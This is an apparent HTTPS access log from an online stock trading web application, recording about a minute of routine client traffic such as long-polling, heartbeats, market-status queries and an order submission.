[09/Jan/2026:14:15:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/sell_ticket.html? HTTP/1.1" 2261
[09/Jan/2026:14:15:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:15:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:15:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:15:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:15:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:15:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Product HTTP/1.1" 305
[09/Jan/2026:14:15:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:15:48 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939616190 HTTP/1.1" -
[09/Jan/2026:14:15:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/OrderMaxQuantity HTTP/1.1" 6
[09/Jan/2026:14:15:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:15:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:15:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:15:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:15:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:15:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Product HTTP/1.1" 305
[09/Jan/2026:14:15:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:15:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/OrderMaxQuantity HTTP/1.1" 6
[09/Jan/2026:14:15:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939618245 HTTP/1.1" -
[09/Jan/2026:14:15:50 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:15:50 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:15:51 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939627054 HTTP/1.1" -
[09/Jan/2026:14:15:51 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939636420 HTTP/1.1" -
[09/Jan/2026:14:15:51 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:15:51 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:15:53 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939621256 HTTP/1.1" -
[09/Jan/2026:14:15:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939623286 HTTP/1.1" -
[09/Jan/2026:14:15:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:15:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LoginKey HTTP/1.1" -
[09/Jan/2026:14:15:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/PreOrder HTTP/1.1" 1219
[09/Jan/2026:14:15:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:14:15:55 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:15:55 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:15:55 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:15:55 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:15:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:15:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/Csrf?url=/Order HTTP/1.1" 126
[09/Jan/2026:14:15:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:15:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LoginKey HTTP/1.1" -
[09/Jan/2026:14:15:56 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939632092 HTTP/1.1" -
[09/Jan/2026:14:15:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:15:56 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939641518 HTTP/1.1" -
[09/Jan/2026:14:15:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Order?csrf_nonce=8DE5C509C6C5D6996FB73E7E12BC54E5 HTTP/1.1" 1020
[09/Jan/2026:14:15:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:15:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/sell_ticket.html? HTTP/1.1" 2261
[09/Jan/2026:14:15:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:15:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:15:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:15:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:15:58 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939626321 HTTP/1.1" -
[09/Jan/2026:14:15:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:14:15:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:15:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Orderbook HTTP/1.1" 1788
[09/Jan/2026:14:15:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939628394 HTTP/1.1" -
[09/Jan/2026:14:16:01 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939637124 HTTP/1.1" -
[09/Jan/2026:14:16:01 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939646579 HTTP/1.1" -
[09/Jan/2026:14:16:03 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939631349 HTTP/1.1" -
[09/Jan/2026:14:16:04 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939633461 HTTP/1.1" -
[09/Jan/2026:14:16:06 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939642215 HTTP/1.1" -
[09/Jan/2026:14:16:06 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939651611 HTTP/1.1" -
[09/Jan/2026:14:16:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:16:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:16:09 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939636567 HTTP/1.1" -
[09/Jan/2026:14:16:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939638620 HTTP/1.1" -
[09/Jan/2026:14:16:11 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939647290 HTTP/1.1" -
[09/Jan/2026:14:16:11 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939656677 HTTP/1.1" -
[09/Jan/2026:14:16:11 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:16:11 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:16:12 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:16:12 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:16:14 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939641636 HTTP/1.1" -
[09/Jan/2026:14:16:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939643678 HTTP/1.1" -
[09/Jan/2026:14:16:16 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939661750 HTTP/1.1" -
[09/Jan/2026:14:16:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939652399 HTTP/1.1" -
[09/Jan/2026:14:16:19 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939646695 HTTP/1.1" -
[09/Jan/2026:14:16:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939648872 HTTP/1.1" -
[09/Jan/2026:14:16:20 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:16:20 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:16:21 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939666777 HTTP/1.1" -
[09/Jan/2026:14:16:21 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:16:21 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:16:22 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939657468 HTTP/1.1" -
[09/Jan/2026:14:16:24 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939651799 HTTP/1.1" -
[09/Jan/2026:14:16:25 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939654074 HTTP/1.1" -
[09/Jan/2026:14:16:25 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:16:25 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:16:25 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:16:25 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:16:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:16:26 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939671809 HTTP/1.1" -
[09/Jan/2026:14:16:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:16:27 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939662563 HTTP/1.1" -
[09/Jan/2026:14:16:29 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939656864 HTTP/1.1" -
[09/Jan/2026:14:16:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939659222 HTTP/1.1" -
[09/Jan/2026:14:16:31 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939676838 HTTP/1.1" -
[09/Jan/2026:14:16:32 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939667641 HTTP/1.1" -
[09/Jan/2026:14:16:34 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939661916 HTTP/1.1" -
[09/Jan/2026:14:16:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939664279 HTTP/1.1" -
[09/Jan/2026:14:16:37 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939681899 HTTP/1.1" -
[09/Jan/2026:14:16:37 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939672735 HTTP/1.1" -
[09/Jan/2026:14:16:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:16:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:16:39 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939666979 HTTP/1.1" -
[09/Jan/2026:14:16:40 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939669443 HTTP/1.1" -
[09/Jan/2026:14:16:41 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:16:42 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:16:42 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:16:42 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:16:42 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939686938 HTTP/1.1" -
